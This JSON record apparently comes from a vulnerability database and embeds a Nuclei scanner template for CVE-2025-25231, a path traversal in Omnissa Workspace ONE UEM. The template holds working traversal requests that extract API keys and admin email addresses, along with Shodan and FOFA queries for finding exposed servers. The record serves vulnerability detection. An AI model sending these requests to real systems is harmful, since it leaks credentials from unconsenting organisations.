{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2025-25231/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2025-25231/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2025-25231/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2025-25231/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2025-25231/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2025-25231"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2025-25231"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2025/CVE-2025-25231.yaml",
    "nuclei_template_severity": "high",
    "nuclei_template_yaml": "id: CVE-2025-25231\n\ninfo:\n  name: Omnissa Workspace ONE UEM - Path Traversal\n  author: DhiyaneshDK,slcyber\n  severity: high\n  description: |\n    Omnissa Workspace ONE UEM contains a path traversal caused by crafted GET requests to restricted API endpoints, letting malicious actors access sensitive information, exploit requires sending crafted requests.\n  impact: |\n    Malicious actors can access sensitive information by exploiting path traversal in API endpoints.\n  remediation: |\n    Update to the latest version.\n  reference:\n    - https://slcyber.io/assetnote-security-research-center/secondary-context-path-traversal-in-omnissa-workspace-one-uem/#wrap-up-&-acknowledgements\n    - https://www.omnissa.com/omsa-2025-0004/\n    - https://nvd.nist.gov/vuln/detail/CVE-2025-25231\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: vmware\n    product: workspace_one_uem_console\n    fofa-query: banner=\"/airwatch/default.aspx\" || header=\"/airwatch/default.aspx\"\n    shodan-query: html:\"/airwatch/default.aspx\"\n  tags: cve,cve2025,omnissa,workspace,airwatch,traversal,vkev,vuln\n\nflow: http(1) || http(2)\n\nhttp:\n  - raw:\n      - |\n        GET /DevicesGateway/apps/system-app-metadata/1?packageId=../../../../API/system/groups/apikeys%3fogname=Global HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_all(body, \"service_name\",\"api_key\")'\n          - 'contains(content_type, \"application/json\")'\n          - \"status_code == 200\"\n        condition: and\n\n    extractors:\n      - type: json\n        name: api_key\n        json:\n          - '.api_keys[].api_key'\n\n  - raw:\n      - |\n        GET /DevicesGateway/apps/system-app-metadata/1?packageId=../../../../API/system/admins/search?status=active%3fogname=Global HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_all(body, \"AdminUser\",\"Uuid\")'\n          - 'contains(content_type, \"application/xml\")'\n          - \"status_code == 200\"\n        condition: and\n\n    extractors:\n      - type: regex\n        part: body\n        name: admin_email\n        group: 1\n        regex:\n          - '<Email>([^<]+)</Email>'\n# digest: 490a004630440220217b06c57a2dca7f790385d77860cae76cffa6c4d04151ce9586e75c69627eb202207aebedf31e1c1e4b1786d11c6cd84daa3cd490c86ac210f7a8bc882c48e4ac33:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2025-25231"
}